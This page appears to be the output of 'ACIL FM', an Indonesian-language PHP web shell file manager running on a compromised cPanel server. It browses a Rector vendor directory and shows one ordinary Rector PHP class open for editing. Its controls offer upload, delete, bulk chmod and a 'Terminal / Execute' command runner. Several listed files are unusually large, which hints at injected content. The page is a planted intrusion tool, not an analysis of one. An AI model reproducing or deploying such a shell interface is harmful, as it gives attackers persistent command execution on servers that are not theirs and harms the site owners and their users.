ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/rector/rector/rules/Transform/ValueObject
/
opt
cpanel
ea-wappspector
vendor
rector
rector
rules
Transform
ValueObject
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
ArrayDimFetchToMethodCall.php
643 B
chmod
View
DL
Edit
Rename
Delete
AttributeKeyToClassConstFetch.php
1.3 MB
chmod
View
DL
Edit
Rename
Delete
ClassMethodReference.php
679 B
chmod
View
DL
Edit
Rename
Delete
ConstFetchToClassConstFetch.php
1.06 MB
chmod
View
DL
Edit
Rename
Delete
FuncCallToMethodCall.php
1.09 MB
chmod
View
DL
Edit
Rename
Delete
FuncCallToStaticCall.php
1.04 MB
chmod
View
DL
Edit
Rename
Delete
MethodCallToFuncCall.php
854 B
chmod
View
DL
Edit
Rename
Delete
MethodCallToNew.php
977 B
chmod
View
DL
Edit
Rename
Delete
MethodCallToPropertyFetch.php
1.03 MB
chmod
View
DL
Edit
Rename
Delete
MethodCallToStaticCall.php
1.27 MB
chmod
View
DL
Edit
Rename
Delete
NewToStaticCall.php
1.08 MB
chmod
View
DL
Edit
Rename
Delete
ParentClassToTraits.php
945 B
chmod
View
DL
Edit
Rename
Delete
PropertyAssignToMethodCall.php
1.08 MB
chmod
View
DL
Edit
Rename
Delete
PropertyFetchToMethodCall.php
1.76 MB
chmod
View
DL
Edit
Rename
Delete
ReplaceParentCallByPropertyCall.php
1008 B
chmod
View
DL
Edit
Rename
Delete
ScalarValueToConstFetch.php
1.31 MB
chmod
View
DL
Edit
Rename
Delete
StaticCallToFuncCall.php
997 B
chmod
View
DL
Edit
Rename
Delete
StaticCallToMethodCall.php
2.1 MB
chmod
View
DL
Edit
Rename
Delete
StaticCallToNew.php
674 B
chmod
View
DL
Edit
Rename
Delete
StringToClassConstant.php
854 B
chmod
View
DL
Edit
Rename
Delete
WrapReturn.php
900 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/rector/rector/rules/Transform/ValueObject/ParentClassToTraits.php
<?php declare (strict_types=1); namespace Rector\Transform\ValueObject; use Rector\Validation\RectorAssert; use RectorPrefix202411\Webmozart\Assert\Assert; final class ParentClassToTraits { /** * @readonly * @var string */ private $parentType; /** * @var string[] * @readonly */ private $traitNames; /** * @param string[] $traitNames */ public function __construct(string $parentType, array $traitNames) { $this->parentType = $parentType; $this->traitNames = $traitNames; RectorAssert::className($parentType); Assert::allString($traitNames); } public function getParentType() : string { return $this->parentType; } /** * @return string[] */ public function getTraitNames() : array { // keep the Trait order the way it is in config return \array_reverse($this->traitNames); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply